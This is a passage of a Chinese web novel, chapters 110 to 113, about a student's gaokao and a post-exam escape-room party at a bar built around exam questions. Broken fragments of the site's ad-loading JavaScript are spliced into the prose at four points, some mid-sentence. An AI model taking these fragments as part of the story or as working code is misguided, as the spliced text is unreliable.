卫语从初中的时候就已经开始学计算机了,直到高二拿了全国计算机竞赛的奖项。 ——但是黄怀予连一部电脑都没有拥有过。 黄薇认为电脑影响学习,并且把黄怀予 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成绩好全部归因于自己当年没有买电脑的明智之举。所以到现在为止,黄怀予甚至都不知道一部电脑怎么开机,是一个完完全全的电脑白痴。 黄薇其实从来没关注过黄怀予的学习。从小学开始,黄怀予都是自己督促自己,从来不靠家长。 可是黄薇却经常在被问到“你女儿成绩真好,有什么秘诀”的时候,把黄怀予一切的辛苦省略,骄傲指着自己说:“就是因为我不给买电脑!” 同样在处理与电脑的关系上,有的家长会把这当做是升学与未来选择的资源积累,而有的家长却只会联想到游戏与玩物丧志。 “人无法想象自己没见过的事物”——她已经很难去跟黄薇解释一部电脑意味着什么,她也确实没有那个计算机天赋,就算让她去学了也不一定能学出什么名堂。她不应该这样去评判她的母亲,因为母亲已经尽了所属阶层的全部力量去托举她。 ——只是当她站在校园墙前的那一刻,突然从心里突然觉得,她从小就活在和别人的竞争和比较里。 她和卫语之间,到底是什么关系? 她对卫语,到底是什么感情? 青春期时那点暧昧旖旎的心思,就算那样真切地存在过,可是也在四处竞争排名的氛围里,变得更加秘不可闻、飘渺而无处寻找了。 直到现在,黄怀予认真回忆起来,她如果能在成绩上赢过卫语一次,她应该会特别高兴——随便幻想一下,应该会比卫语突然向自己表白要高兴一百倍。 …… 卫语点点头,“谢谢。” 黄怀予却仿佛陷入什么回忆,神色有些愣怔,就这么沉着脸低头,也不说话,呆呆地看了地面好几秒。 直到苏琬在旁边轻轻地拉她,“我们就先去找考场啦,拜拜。”她才骤然反应过来,意识到自己刚刚居然就这样走神了。 黄怀予抬起头,正好对上冯尽欢有些疑惑的眼神。 冯尽欢看看愣怔的黄怀予,又看了一眼刚刚还在和黄怀予说话的卫语,像是想到了什么,脸色一下子僵了,再回头时,眼里竟然已经有了一丝敌意。 ……刚刚自己和卫语说话时无意识走神的举动,落在冯尽欢眼里,估计已经变成了当着她的面觊觎她男朋友了。 黄怀予有些慌张地意识到了这一点,张开口想要解释一些什么,就看见冯尽欢仿佛看见什么洪水猛兽,一下子就拉着卫语头也不回地走了。 “你俩聊什么呢?”谷奕从前面凑过来,递过来两根可爱多,“那两个人是你们熟人?” 苏琬横他一眼。 “以后路上别大喊大叫。” “?”谷奕一脸问号,为啥苏琬突然就来了这么一句话? “杯姐,苏琬怎么了?” 黄怀予看过去,谷奕站在那,原本凌厉的眉眼此时因为懵而显得傻傻的。她一把接过谷奕手里的两根可爱多,“她不喜欢吃冰淇淋,所以不高兴了。这两根都给我吃就行。” “……”谷奕挠挠头,“是这样吗……” “就是这样。” 黄怀予三下五除二就撕掉了包装。巧克力脆皮的味道在嘴里散开,她终于想明白了一些已经困扰了她六年的事,此刻只觉得天空高远,轻松无比。 “走啦。”她笑着去拉谷奕。 110. 第 110 章 高考之前的最后一周。 大家都过得很平静。 学生们三三两两结伴,看着校园里路灯温暖,缓绿摇晃,年轻的女女男男在排球场上打球,在操场上跑步。 黄怀予突然觉得,就定格在这一刻,也挺好的。 她问自己,你准备好了吗? 再多做一套题? 再多背一页单词? 再多抄一本错题? 不用了。就这样,来吧。 …… 2018年6月7日。 黄怀予和苏琬谷奕报名了校巴,从楚门一中一路开到十中门口。 巴士上贴着“高考考生专用”,不用担心自己去的话路线不熟或者堵车耽误时间。 语文老师穿了红色的旗袍,坐在车前,告诉大家这是寓意旗开得胜。 三人上了车,坐到了第一排,随意聊着天。还没有到巴士预计出发时间,有一些同学还没有到,整辆车零零散散没有坐满。 黄怀予坐在窗边发呆。 窗外人不多,街道前方突然出现一抹粉色。 黄怀予眼前一花,就看见马路尽头突然出现了一辆全粉色的车,特别大,很是扎眼好看,在周围有些破败老旧的街景显得极其格格不入。 车头最前方有一个圆圈,圆圈里有一个符号,既像是有点歪的大写字母“L”,又像是三角形的左下锐角。 这辆车缓缓开到了楚门一中校门口,正好停在巴士正前方。 它停在校门正中央,颜色又足够抓人眼球,一下子来来往往路人的目光都被吸引过去,巴士上一些没事干有些无聊的学生也突然起了兴致,够着脖子去看。 “快看!那辆车!” 黄怀予一下子有点兴奋,以为是哪个一中的同学家里派了什么牛逼的车来接送,激动地去晃旁边苏琬的手臂,让她赶紧加入吃瓜。 可是晃了半天旁边的人都没反应,她看了一眼,这才发现苏琬眼睛都瞪大了,脸上出现了极其震惊的表情。 ——苏琬不认识这辆车,但是,全粉色的车,如此大的阵仗,楚门本地牌照,她已经想到了一个人。 她嘴唇抖了两下,“这是……” 话音未落,粉色车门副驾驶就立刻打开,跳下来一个全身黑西装戴墨镜的高大男人。那人面无表情地走到后排,打开车门,恭恭敬敬地弯下腰,把手伸上前。 随后,车门里就慢慢伸出一只素白的手,缓慢搭在了男人手腕袖子处。 一只六厘米左右的白色细跟高跟鞋踏出车身,踩在了地面上。 下一秒,从车上下来一位年轻女性,戴着墨镜,棕色长发浓密披散在身后,被风吹过几缕到脸上,又被她轻轻捋到耳后。 她踩着高跟鞋,一步步走到巴士前,墨镜遮住了她80%的脸,她冲着巴士微微俏皮地招了招手。 …… 整辆车上所有老师和同学全部都盯着那辆粉色的车,以及从车上款款走下来的人。 黄怀予、苏琬和谷奕彻底石化。 因为她们三个人都认出来,这位招式十足、极其装逼、动作优雅、气质卓然的仙女教母,就是辛桐。 谷奕抓起书包,长腿一伸就下了巴士。 “你啥时候来的?” 辛桐慢慢摘了墨镜,露出一双好看的丹凤眼。 “前两天就到了。你高考,这么大的事,我怎么可能不来。” 她冲身后的粉色车扬扬下巴。 “我送你去。” 谷奕扯扯嘴角,高大的身形往前走了两步,绕着那辆车观察了一下,“怎么还是楚门本地牌照?你哪弄来的?” “我想要本地牌照这件事,很难吗。” “……”谷奕想想也是,又想到什么,“你司机认识路吗?” 辛桐也没多余解释她找的司机是谁,就懒洋洋说了两个字,“放心。” 谷奕点点头,把书包甩到背上,也没矫情,直接上了车,有豪车接送肯定比学校几十人的大巴车坐得舒服。 辛桐却没回去,而是又一步步走到了大巴车门口,冲着里面望了望,果然就在第一排看见了目瞪口呆的黄怀予和苏琬两人。 她露出一个笑容。 “宝宝们,你们也来。我特地要的七座车。” 此话一出口,整辆巴士上所有人的目光全部齐刷刷转向了黄怀予和苏琬。 “……” 黄怀予脸都红了,只能顶着全车人关注的热切目光,用尽全力控制着自己脸上的表情尽量不要显得太过于小人得志。 她和苏琬对视一眼,一边对巴士上的老师们鞠躬道别,一边飞快冲下了大巴。 一路小跑到粉色车门前,黄怀予这才发现那个黑衣男人差不多都跟谷奕一样高了,一整个立在那里就像一根柱子,他安静守在车门边,一副两人不上车就不会关门的样子。 两人上了车,黑衣男人点点头,等到辛桐也踩着高跟鞋一步步走回来,他又面无表情扶着她上车,随后迅速关上后座车门,钻进副驾驶。 粉色大车甩出了一个漂亮的弧度,扬长而去。 * 2018年6月7日,2018年6月8日。 高考两天。 和平常一样,黄怀予心情异常平静。 楚门十中贴满鲜艳的大红色横幅,街上出现很多交警指挥交通,她终于和周围这群一模一样过独木桥的同龄人一起,走进了高考考场的大门。 喧闹声漫天,可她心里惊不起一点波澜。 她独自走向自己的考场,就像三年来的每一次月考那样。 坐在陌生的教室里,捏着没拆封的极其难用的水性笔,听着监考老师走来走去的高跟鞋声。 背过的每一句诗,做过的每一道题,抄过的每一本书,用光的每一根笔芯,哭过的每一张试卷。 她只觉得,这场从小学一年级绵延到现在的十二年的生涯,这十二年来所有人都在强调自己努力的终点和目标,终于可以在这最后的两天,画下句号了。 最后一场文综考试结束。 黄怀予最后一个走出教室。 周围响起乱糟糟的嘈杂声,大家脸上有的哭有的笑,有的人急乎乎地和别人对答案。但更多的人脸上是解脱。 她站在教室外的桌边,慢悠悠地收着书包。 这个人生中只来过两次的教室,墙是淡黄色的,桌子是蓝色的,窗户小小的,陌生无比。可她却莫名觉得,风吹过走廊外的树影,绿叶飞舞变幻迷住她的眼睛,她此时此刻突然站在了楚门一中一号教学楼五楼的301班教室外。 抬头,是教室又小又高的窗户,从她的角度只能看见天花板上的老式电扇,在夏日浮躁的空气里,吱吱呀呀地转着。 教室里坐着十二年里的自己。 教室外站着今天的她。 美好会消逝吗?青春会燃烧吗?过去会死掉吗?未来会停止吗? ——有人在叫自己。 她回头,看见楼梯角,一男一女正站在那里。 女生背着书包,马尾垂到肩膀上,笑盈盈地看着她。 男生像日剧男主一样拎着一个黑色的包,歪靠着墙,腿交叉着,正漫不经心喊着她的名字。 …… 黄怀予觉得很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,她居然一滴眼泪也没流。 反而,她笑了。 她背上了书包,冲上前,跳起来,用力搂住了两人的脖子。 * 辛桐戴着墨镜,站在楚门十中门口的梧桐树荫下。身后路边停着一辆极其惹眼的粉色MPV。 她目光搜寻着从校门口涌出来的学生们,突然,一下子在人群中看见了一个特别高的身影。 这一米八/九的身高比什么防伪标志都有用,辛桐立刻露出笑容,头也没回地冲着身后打了个响指。 下一秒,她身后里立刻出现四个全身黑西装的壮汉,迅速冲到校门口人群中,手牵手把三人团团围住,冲开人流带到树荫下。 随后四人像变戏法一样,面无表情地掏出四个巨大的礼花筒,冲着中间一脸懵逼的三个人“噗嗤噗嗤”喷了四下,霎时间许多五颜六色花花绿绿的彩花飞得满天都是,多得简直可以把中间的三个人埋进去。 等到三个人终于把脸上和头上的彩纸拍掉,眼前终于可以看清东西的时候,就看见站在三人面前拿着手机正在录像的满面笑容的辛桐。 “Surprise!” “……” 三人环视一圈,果然周围所有学生和家长都在好奇地看向这边,慢慢已经围了一小圈人,有的人甚至也拿起了手机跟着拍照。 “停!!!” 谷奕眼见这四个保镖居然还准备拿出旁边的一个鼓鼓囊囊的大袋子,赶紧冲着辛桐喊停。 “行了行了,别玩了。” “现在送我们去1969。” 辛桐笑得捂肚子。 “好好好。” 她冲那几个人打个响指,那几人动作一停,收起了旁边的大袋子,面无表情地打开车门,在门口做出了“欢迎上车”以及防止撞到头的保护动作,整个过程行云流水极其专业,如同综艺节目里那种铁面无私的黑衣人。 “……” 黄怀予和苏琬瞠目结舌。 谷奕红着脸,在周围一圈人看热闹的灼热注视下,拉起旁边两人的手就上了车。 辛桐收起手机,指着地上的彩花。 “收拾干净再走。” “是!” 为首的黑衣人鞠了一个躬。 辛桐看着他们又拿出另一个袋子,掏出了铲子、扫帚和垃圾袋,满意地点点头,转身潇洒地上了车,只留下一句话: “跟你们老板说,你们这个队伍不错,下次有活动还找你们。” 话音落下,她已经身姿聘婷地坐进了车里,关上了车门,扬长而去。 …… 一路畅通,转眼已经到人民路酒吧街。 三人下车。1969大门紧闭,看上去没有营业。 辛桐坐在车里,随意从车窗里往外看了一眼,看上去对这种安静的清吧完全没兴趣,把三人送到了地方就准备离开。 临到头,又想到了什么,声音嗲嗲地问黄怀予和苏琬: “宝宝们,晚上还需要我来接你们吗?” “不用了,我们打车回去就行。” 辛桐点点头,压根没问谷奕,靠回座椅,“师傅,走吧。” “哎哎哎!”谷奕大喊大叫,“你怎么不问问我需不需要接送?” 辛桐哼了一声,瞄他一眼,“你最近住哪?考完了学校也没有宿舍给你住了吧。” 谷奕歪歪头,“随便找了家酒店。前几天刚搬进去。” ——黄怀予在旁边腹诽,那是随便吗,他住的是望湖山庄,楚门唯一一所五星级酒店! 辛桐不甚关心地点点头,车窗升起,扬长而去。 111. 第 111 章 1969门前只剩下三人。 “今天不营业?”苏琬看了一眼紧闭的大门。 谷奕双手插进裤子口袋里,靠着墙,“要不换地方?” 两人同时看向黄怀予,黄怀予没说话,掏出手机看了看。 微信一片安静,楚老师没有给她发消息。 “不可能啊。”她有些疑惑,“肯定在里面,我们都约好了。” 谷奕:“你跟谁约好了?” 黄怀予:“楚老师。” “?” “你什么时候和楚恒混在一起了?我怎么不知道?” 黄怀予没理他,心想你不知道的事情多了。 她走上前,认真观察了一下。铁的卷闸门是打开的状态,两扇大门也没有任何锁,上面遍布青青紫紫的蝴蝶花纹,静静地在她面前,仿佛就等着她进去。 她心里有了底,率先摸到大门,使了一点劲,“轰——”一声用力推开。 入目一片黑暗,黄怀予没敢往里面走太多,贴着墙根,手在墙上摸来摸去,总算是摸到了电灯开关。 灯亮,大厅终于亮堂起来。 可是店里却依然一个人也没有,整个大厅里原先摆着的桌椅板凳、沙发卡座全部不见了,空空荡荡。 “……” 三人对视一眼,皆是感觉到了不对劲。 黄怀予再次看回去,这才发现,空荡荡的大厅正中央,放着一把孤零零的椅子。 椅子的椅背上,贴了一张白纸。 “搞什么?” 黄怀予径直走进去,弯腰,扯下那张纸,一字一字读出了纸上的内容。 “已知函数f(x)=ex(ex﹣a)﹣a2x. (1)讨论f(x)的单调性; (2)若f(x)≥0,求a的取值范围.” (无法调格式,只能把函数写成这样,大家意会吧……) ——椅子上,还放着三支笔和三本空白草稿本。 三人:“……” 黄怀予怒道:“李鸣月!你考上瘾了是吧!” 苏琬:“看来这意思很明显了,是让我们做对题才能见面。” 谷奕来了兴趣,“我来看,正好昨天刚考完数学!” 他想把纸拿过去,却被黄怀予捏着不放。 “看个屁!” 黄怀予一天考完了两场试,精神力高度集中,午饭怕出意外也是只吃了一点点。现在已经下午五点多,她早就已经饿得前胸贴后背了。 “现在我来1969只为了三件事,变身饕餮,变身饕餮,还是他大爷的变身饕餮!” “其他的事都等于放屁。” 黄怀予甩掉手上的纸,转身欲走。 “我们先出去搓一顿牛蛙再说。李鸣月这些东西也不白布置,等我们吃饱回来正好陪她玩游戏消食。” 她拉着两人就准备走出大门,却没想到下一秒刚刚还极其沉重的两扇大门却一下子自动关上,室外的光亮瞬间就被彻底隔绝,三人完完全全被关在了店里。 黄怀予一惊,立刻跑上前去拉,可是用尽全力也拉不开门。 就在这时,顶上的灯突然熄灭掉一圈,还突然伴随着巨大的节奏声背景音,吓得黄怀予一抖。 天花板上响起李鸣月加了电音的夹着嗓子的奸细声音,像是童话故事里生活在黑暗森林里的巫婆。 “女施主,进了1969就走不了了哦~” “游戏全部通关将有大餐,游戏不通关将有惩罚~” ?! 黄怀予拿出手机,冲着空气满是威胁地喊: “我这就给泉姐打电话,说你欺负我们。” 她按下通话键,没过两秒钟,居然有一阵悠扬的电话铃声从天花板上传来。 李鸣月笑得很开心,“嘿嘿,你们泉姐正在我旁边全程看着呢。” 话音刚落,喻轻泉柔和又带着歉意的声线也跟着从天花板上响起: “对不起宝宝们,李鸣月跟我说,让我过来旁观,可以把你们闯关过程当成电影看。我现在觉得……看你们比看电影还有意思。” ??? 如此温柔的声音,怎么能说出这么冷酷的话? 黄怀予看了一眼苏琬,她立刻会意,也掏出手机,看了看时间。 “小姨,我妈现在应该正在家里等我回去吃晚饭。我等会是要回去的。” “哦忘了跟你们说了,你们三位玩家的家长都已经被我提前打过招呼啦,我说你们今晚直接在1969通宵开party,三位家长都很放心地跟我说没问题呢!” 谷奕:“?你怎么跟我家长联系的?” 李鸣月笑得阴恻恻,“你们觉得辛桐小姐刚刚在门口为什么溜得这么快?” “……” 黄怀予大喊:“非法拘禁!我要报警!” 李鸣月:“收到!警察到!” 随后大厅正前方的主舞台一侧突然传来声响,三人闻声看去,只见舞台幕布里走出一个穿着警察制服的壮汉,一看,竟然是小周。 他穿着那种淘宝上就可以买到的漫展cos专用制服,手上还别着一只小孩玩具假枪,十分有信念感地举着枪,面无表情地念着老板给的台词。 “正义的使者,法律的审判,1969超级无敌宇宙洪荒第一警卫队长报道。” 三人目瞪口呆。 他咳嗽两声,拿着枪转了个身,摆出一个迪迦奥特曼胜利队队员的pose。 “在三位玩家通关游戏之前,我将誓死捍卫1969和老板的生命安全。” 黄怀予怒吼:“反了!让你来保护我们三个的安全!” 小周眨了眨眼,反应了好几秒,最终还是无奈地说:“对不起,老板给的实在是太多了。” 谷奕:“周哥,你老板给你多少钱,我给你双倍。” 小周还没回答,天花板上就传来李鸣月紧张的大叫:“禁止勾搭贿赂警卫!不许!不许!” 李鸣月见这三个人软硬不吃,只能撒娇般喊道:“哎呀!是给你们的高考后惊喜party!你们就当玩一次沉浸式密室逃脱嘛!我布置了好久的!” “我保证,绝对很好玩!” 她的声音加了一层autotune,又撒娇着拖长了声音,听着简直欠揍无比。 …… 三人对视一眼,黄怀予终于屈服了。 “小姨,等会游戏结束之后的大餐,你最好准备好三吨炸鸡翅,不然少一只我都跟你拼命。” 肚子饿得咕咕叫,黄怀予无奈只能就地坐下,任由谷奕兴致勃勃地把那张写了数学题的纸拿过去研究。 这题不难,谷奕没过多久就算出来了,邀功似地念出了答案。 苏琬为了保险起见又自己算了一遍,确认答案没错。 这两个人趴在酒吧大厅的地上,每人手上都拿着一只笔和草稿纸,头对着聚在一起,对着一张白纸上的数学题认真地计算。 ……在旁边坐着的黄怀予看到这离奇的一幕,只觉得这辈子所有荒谬的事都在今天体验完了。 她闲得无聊,干脆对着天花板聊起了天。 “小姨,你怎么想到这些的?” 李鸣月本来为了保持玩家体验,装作十分神秘高冷的样子,还一本正经地让黄怀予不要喊她小姨,要喊系统。 黄怀予多了解李鸣月,她立刻开始夸李鸣月脑子灵活,性格有趣,怎么能想到这么厉害有意思的惊喜party主题,不仅是开酒吧的料,还是开密室的料。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李鸣月一听,尾巴简直要翘到天上去,洋洋自得就开口道: “前几天就一直想给你们办个庆祝party,但是怎么样都觉得没意思,落入俗套,正好前几天有人打我电话,我一看,哟,是楚……” 下一秒她似乎被旁边的人拍了一下,立刻就意识到好像说了什么不该说的话,于是瞬间噤声,舌头转了个弯: “是楚……楚门一中优秀毕业生喻轻泉说想看大型沉浸式密室逃脱。” ? 黄怀予皱眉,直觉有问题。 可是还没仔细想,就听见谷奕在旁边大喊大叫:“对的对的!算出来了!” 他把答案写在那张写了问题的白纸上,贴回了椅背。 三人等了几秒钟,突然整个大厅里的灯光一下子切换,天花板上传来巨大的的效果背景音,原本放在大厅正中间的那张椅子瞬间消失在昏暗的光线下,一束红色的光打向舞台,舞台正中间摆着一架钢琴。 “恭喜三位玩家已经通过第一关,接下来请前往第二关。” …… 这家酒吧的装修当初耗费了李鸣月很多心血,为了给舞台和顾客呈现最好的迷幻效果她花了很多心思,却没想到这些设计竟然可以被用来做这种事,而且还十分适配,感觉1969以后还多了一项承接密室逃脱的新业务。 从第一关到第二关中间的这一下,灯光和背景音乐的配合极好,音效简直像是在人耳边响起,吓了黄怀予一大跳。 黄怀予这人看上去张牙舞爪,其实胆子特别小,十分怕黑,平时连鬼屋都不敢进。 她看着周围空荡一片的宽阔空间,从来没有觉得1969的店面如果去掉了家具竟然会这么大。 此时偌大的空旷空间里黑漆漆一片,只有三人头顶一束大红色的灯光,红得像血,直挺挺打向舞台上的那架钢琴,除此之外就再也没有其他任何光源。 黄怀予停在原地,不动了。 她腿已经开始抖了。 “嗯?这钢琴干嘛的。” 谷奕径直往前走,一直走到了舞台上,还冲苏琬笑,“你来看看。” 苏琬往前走了几步,又突然停下来,回头看了一眼。 “杯子?” 没人说话。 她知道黄怀予估计是怕了。 但是此时此刻,那个独自站在昏暗光线里的女生,嘴闭得紧紧的,一声不吭,宁死都不愿意表现出自己很害怕的样子。 苏琬立刻就转过身走上前几步,准备去牵黄怀予的手。 却没想到,她还没走到黄怀予身边,一直远远站在舞台上一动不动安心当雕塑的小周突然“咚咚咚”跑了下来,直奔黄怀予的方向。 “啊!” 昏暗光线下突然出现一个人高马大的黑影朝自己跑过来,黄怀予终于没忍住,被吓得大喊。 “……”小周抱歉地看了黄怀予一眼,从她身边跑过,径直跑到刚刚第一关的那把椅子前,搬了起来。 “不好意思,我是来搬椅子的。机关设计需要,现在必须人力调整已经不再有用的设施。以免你们在黑暗中撞上这把椅子。” “……”她真是谢谢李鸣月! 黄怀予喘着气,随后手上就传来温凉的触感,她被苏琬紧紧地握住了手。 “别怕。”苏琬轻轻地说。 紧接着,天花板上又传来那道欠揍的机械声: “第二关是英语听力考试,请听题。” 三人上一秒还在骂骂咧咧,下一秒就听见一声极其熟悉的“叮咚——”。 这一声对于高三生简直是刻在骨子里,三人立刻条件反射地屏气凝神,黄怀予迅速跑去拿上了草稿纸和笔,三个人全部各朝一边趴在地上认真听,动作训练有素。 112. 第 112 章 “叮咚——” M:Youlookpale,Stephanie.What’swrong? W:Idon’tfeelgood.Ihaveabadheadache.Infact,Ihaven’tgotmuchsleepthispastweek,andIfeelreallytired. …… “请听题”(已省略听力原文和选项) 1.Wherearethespeakers? 2.Whenisthereportdue? 3.WhatdoesGesuggestStephaniedowiththereport? 最后一个字报完,三人纷纷呼出一口气。 黄怀予说:“BAB。” 两人点点头,“我也是。” 谷奕左右看了看,没发现像上一关一样的白纸,于是试探着对着天花板把答案喊了出来。 可是周围仍然寂静一片,没有反应。 大厅空荡,安安静静,极其瘆人。 ——这说明,提交答案不是通过这种方式。 苏琬和谷奕疑惑,立刻开始到处寻找哪里是可以写答案的地方。 可是黄怀予却已经受不了了。 周围太黑太安静,那束红色的光又太吓人,她有些崩溃地小声说:“琬儿……我,有点怕……” 苏琬立刻跑到她旁边,握住了她的手,“没事,你就跟在我们后面,我们来找线索。” 谷奕和苏琬两人前前后后在昏暗的光线里找了好几分钟,试了无数种方式,都没有成功。黄怀予哆哆嗦嗦被苏琬牵着,苏琬和谷奕走到哪,黄怀予就跟到哪。 ——看着前方两人一边互相认真讨论寻找、一边还有抽空来安慰自己别怕的表情,她居然莫名觉得自己像是他们俩生出来的没用小孩。 ……没用! 太没用了! 她咬着牙,决定不能这样,深呼吸一口气,开始思考。 周围几乎是一片漆黑,黑得基本没什么光,整个大厅唯一的光源就是三人头顶那个顶灯发出的一束大红色光线。因为是舞台光,所以颜色极其鲜亮,非常像是KTV里的那种氛围光,看起来五颜六色,但是人在里面就是看不清东西,主要是起到一个造型上的作用。 她站在原地沉默了一会,目光顺着红色光线的方向,慢慢移到了整个大厅里唯一被照亮的东西——那架钢琴。 昏暗的大厅里,浑身纯黑色的钢琴被一束鲜红色的光照亮,周围浮起细细密密的灰尘。 它静静地呆在那里,仿佛有生命般,沉默地看着她。 答案是BAB? 黄怀予脑海里骤然闪过一道白光。 她拍拍苏琬的手,轻轻挣脱开,然后一个人一步步往舞台的方向走去。 身后响起谷奕的声音:“杯姐,你去那里干嘛!” 黄怀予脚步没停,离身后两人越来越远,离钢琴越来越近。越往前走一步,心里毛毛的感觉就越重一分。 “跨啦——” 她双手掀起钢琴盖,熟悉的黑键白键出现在眼前。 右手食指缓缓抬起来,直接移到琴键上方,按下三个音。 ——三声低哑陈旧的钢琴声音骤然响起在空荡昏暗的酒吧大厅里,原本死寂的宁静被打破,像是地狱里传出的遥远音符,显得诡异无比。 谷奕没听出来,但是苏琬听出来了。 ——她弹的三个音是SILASI。 “!”苏琬一惊,一下子明白了她的意思。钢琴键盘上音符和字母一一对应,A对应LA,B对应SI。所以,这才是第二关提交答案的方式? 苏琬远远看着舞台上钢琴边那个女孩的身影,她周身笼罩在红光下,弹了三个音以后还吓得动都不敢动,手指都还保持着戳琴键的姿势,整个人现在偷感很重,估计现在眼睛都不敢睁开。 钢琴声落下,大厅重新陷入死寂,三人全都屏住呼吸等着天花板的系统审判。 “啪!——” 下一秒,红光骤然消失,取而代之的是舞台后突然出现的一块巨大的电子屏幕,闪着亮眼的白光,一下子把舞台周边照得明亮无比。 黄怀予一下子睁开眼睛,看见身后耀眼的电子屏幕,差点感动得哭出来。 ——终于有光了! 她转过身。 然后就在那块电子屏上,看见了一大段极其熟悉的文字。 “阅读材料,完成下列要求。” 培育和弘扬社会主义核心价值观必须立足中华优秀传统文化。我们要保护和传承,让居民望得见山,看得见水,记得住乡愁。…… (1)培育和践行社会主义核心价值观需要记住乡愁,传承中华传统美德,运用文化生活知识对此加以说明。(12分) (2)运用认识论的相关知识并结合材料,分析不同学者从《记住乡愁》中获得不同感受的原因。(10分) (3)在城镇化快速发展的今天,请就如何记住乡愁提出两条建议。(4分) (已省略材料原文) ? 谷奕愤怒地吼:“前面选择题也就算了,怎么还有政治大题?” 那个欠揍的电音又在三人头顶响起来: “恭喜玩家来到第三关!既然大家都是文科生,我也就不多介绍规则了,江湖上的规矩是什么?分、点、回、答!” “三位玩家每个人的答案都必须覆盖所有得分点哦!只要有任何一位玩家漏了任何一点,都算错!嘿嘿嘿!” “……” 苏琬咬牙,“来都来了!” 她走上前几步,借着电子屏的光,在黑暗中摸索着拿到了刚刚三个人用过的三个草稿本和笔,一个个分给旁边的两人。 “都到这一步了,过也得过,不过也得过。” 黄怀予已经快站不住了。 她紧紧挨着苏琬,抖抖瑟瑟地趴在地上写字。 谷奕嫌地上太脏,直接坐到了钢琴琴凳上,压着钢琴琴盖写。 “要不你也去?”苏琬问她。 黄怀予摇头,“钢琴黑乎乎的,我怕。” 她肚子已经饿得咕咕叫,额头上已经伸出汗珠,刚刚还已经在这种昏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 暗光线里呆了快一个小时,早就已经要撑不住了。 她咬着牙,一把把前额的头发捋到耳朵后面,像这三年里的每一天一样,趴在地上认认真真地开始写字。 …… 十五分钟后,三个人差不多都写完了。 这一关要求三个人必须把所有得分点全部写出来,但是正当三人准备凑在一起互相对一下答案的时候,黑暗中就立刻冲出三四个高大的警卫,把三个人团团围住。 为首的小周一脸铁面无私,“此题严禁对答案。” 三个警卫立刻动身,不由分说地把三个人都拉开,保持距离。 黄怀予还没反应过来,就被一只大手拉着,那人力气极大,她跌跌撞撞小步跑着,一路被那人拉到了黑暗的角落。 眼看着苏琬离自己越来越远,自己周围越来越暗,她腿都吓抖了。 她颤颤巍巍跟对方商量,“好好好,我不对答案,你能不能先别走,就在这里陪我。” 那个警卫带着金色的面罩,个子很高。 他听到黄怀予的话,有些顿住,反应了好几秒,才轻轻点点头。 警卫放开了她的手臂,老老实实站在她旁边,一句话也不说。 沉默的空气在两人周围飘散,前方不远处谷奕和他身边的警卫还在聊天,声音断断续续传来,更显得自己周围安静得诡异。 黄怀予不敢看周围黑暗的环境,只觉得自己的心跳声在这沉闷寂静的黑暗里越来越大,她低着头眯着眼,心里七上八下,干脆一咬牙,手指别别扭扭地慢慢往上,蹭到了那警卫的衣角。 “……”她抬头,感觉到警卫正低头,看着她牵住他衣角的手。 “对不起,我……我只是饿得头晕,要站不住了。” 黄怀予到了这地步,都不愿意承认自己怕黑又怕鬼。 那警卫长得高,她只能踮起脚,把脸凑到警卫肩膀处,轻轻地抖着声音说道。 结果她才刚刚凑上去,离那人的肩膀大概还有十几厘米的距离的时候,她就明显感觉到,面前的警卫身体瞬间僵硬起来。 ——他就这样僵直地站着,没有任何其他动作,像是呆愣愣地忘了所有反应。 黄怀予踮起脚解释完,等了几秒种,发现这警卫依然浑身僵硬,全身上下都透着一股不自然,但是却没有推开她——这让她稍微安心了一点。 她心里乱七八糟地想着,果然一切恐惧的来源都是火力不足,如果她也长一米八几,练成一身肌肉,就算《招魂2》里的鬼修女来了,她也能对上几回合,用得着现在只是在黑暗的密室里答几道题就自己把自己吓成这样? 她看看身边这个人一米八几的高个子,更羡慕了。 他爹的。这就叫吊桥效应! 她无端中又靠近了这人一点点,像是把刚刚对苏琬的依赖感也挪过去了一点。 两人就这样安安静静地站在原地,隔着安全陌生的社交距离。 可是无人看见的黑暗之下,右手手指却试探着更紧地收拢,柔软的衣角布料被她攥在手心,像是两个陌生人之间突然生出的怪异但合理的连接,只要她不放手,两人就会永远被绑在一起。 113. 第 113 章 李鸣月那欠揍的系统提示音又在昏暗的大厅里瘆人地响起。 “时间到,请周警卫把三位玩家的答案收上来。” 小周收到任命,昂首挺胸站出来,站到几人正中间的位置。 那是大厅的正中间,背后就是发着光的电子屏幕,离三个人都大概有五六米的样子。但是再往四周走,光线就越来越暗,直到彻底变黑。 黄怀予左看右看,发现苏琬和谷奕都把手上写了答案的草稿纸交给了自己的警卫,然后警卫直接走上前,把草稿纸交给了站在正中间的小周。 ——于是谷奕和苏琬就这样孤零零地站在黑暗里。 黄怀予心里一咯噔,看向自己旁边的警卫,果然看见他也准备拿走自己手上的答案,走到五米远左右的小周那里。 “等!等等!” 黄怀予五官皱成一团,死死拉住他的衣角。 “别!别!别走。” 那警卫听到她的话,停住动作,转身,正面面对着她,仿佛面罩之下的眼睛正在凝视着她。 黄怀予感觉到,此人仿佛正在无声地说,如果我不走,你交不了卷,你们失败了,受的惩罚更大。 “……”她纠结地低下头,干脆一不做二不休,一把就捏住了警卫的手臂。 她一副死猪不怕开水烫的样子,带着不管不顾的纠缠。 “你带我一起走过去。” 有些刁蛮命令的话一出口,她就有些后悔,立刻软下来,眼神里流露出可怜的请求。 “求你了。” “……” 那警卫定定地看着她。 两秒后,他一句话也没说,而是主动伸出手,轻轻握住了她的手腕。 然后,长腿一伸,拉着她向前走去。 黄怀予终于放心地呼出一口气,像做贼一样跟着这人走着,又觉得自己刚刚恐惧求带的样子实在太丢脸,欲盖弥彰地转移话题道: “我!我可不是害怕!我是太饿了,饿得头晕,怕自己摔倒,才让你扶我的。” “你叫什么名字?……你可真有信念感。明天我让我小姨给你涨工资。” 说完,她还怕对方不知道她的特殊身份,特地强调,“我小姨就是你老板,李鸣月。” “你放心,她虽然喜欢看我笑话,但是平时对我还是挺好的。我让她给你涨工资,她绝对就给你涨。” “等会我们通关了,她答应给我准备三吨炸鸡翅,我可以分你半吨,算是你扶我的酬谢。” 